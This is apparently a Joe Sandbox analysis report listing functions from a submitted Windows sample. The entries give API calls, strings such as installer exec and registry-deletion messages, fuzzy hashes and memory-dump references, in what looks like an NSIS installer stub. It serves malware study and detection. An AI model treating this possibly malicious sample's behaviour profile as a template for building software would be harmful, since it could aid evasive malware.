Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00054E00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNEL32(005D3510), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

